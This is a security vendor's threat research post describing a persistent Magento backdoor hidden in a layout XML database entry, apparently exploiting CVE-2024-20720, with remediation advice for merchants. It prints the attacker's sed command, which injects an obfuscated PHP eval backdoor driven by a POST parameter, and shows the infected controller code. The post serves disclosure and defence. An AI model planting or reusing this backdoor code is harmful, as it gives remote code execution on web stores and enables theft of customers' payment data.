Sansec logo

Persistent Magento backdoor hidden in XML


by Sansec Forensics Team

Published in Threat Research − April 04, 2024

Does your Interceptor.php keep getting infected? Attackers are using a new method for malware persistence on Magento servers. Sansec discovered a cleverly crafted layout template in the database, which was used to automatically inject malware.

Oops, your XML now contains shell code

Oops, your XML now contains shell code

The following XML code was found in the layout_update database table and is responsible for periodic reinfections of your system.

magecart payload in xml

Attackers combine the Magento layout parser with the beberlei/assert package (installed by default) to execute system commands. Because the layout block is tied to the checkout cart, this command is executed whenever <store>/checkout/cart is requested. In this case, the command is sed, which adds a backdoor to the (automatically generated) CMS controller. Clever, because the malware would be reinjected after a manual fix or a bin/magento setup:di:compile run:

sed -i "s/___init();/___init();\\n        if  (  isset  (   $_POST  [   \"7faa27b473\" ])  )   {\\n            $catalogQuery  =\"bas\" .   \"e64_de\".   \"code\" ;\\n            @  eval  (  $catalogQuery (  strrev  (  $_POST  [\"7faa27b473\"] )  ));\\n            exit (   0  )   ;\\n        }/g" \

And this leads to a remote code execution backdoor which can be used by POSTing a command to /cms/index

public function __construct(\Magento\Framework\App\Action\Context $context, \Magento\Framework\Controller\Result\ForwardFactory $resultForwardFactory, ?\Magento\Framework\App\Config\ScopeConfig
  if  (  isset  (   $_POST  [   "7faa27b473" ])  )   {
    $catalogQuery  ="bas" .   "e64_de".   "code" ;
    @  eval  (  $catalogQuery (  strrev  (  $_POST  ["7faa27b473"] )  ));
    exit (   0  )   ;
  parent::__construct($context, $resultForwardFactory, $scopeConfig, $page);

This is the first time that we see actual abuse of CVE-2024-20720, which was discovered just this February by security researcher blaklis.

The attacker used this mechanism to inject a fake Stripe payment skimmer, which would copy payment data to (apparently another compromised Magento store).

Next steps for affected merchants

If you are affected, make sure to run our eComscan scanner to uncover any hidden backdoors on your system, see below for a 1-click scan command.

Next, make sure to upgrade your Magento to 2.4.6-p4, 2.4.5-p6 or 2.4.4-p7. See our version matrix for a useful overview.


We observed the following attacker IPs:

Read more

Scan your store now
for malware & vulnerabilities

$ curl | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security

Terms & Conditions
Privacy & Cookie Policy
Company Reg 77165187
Tax NL860920306B01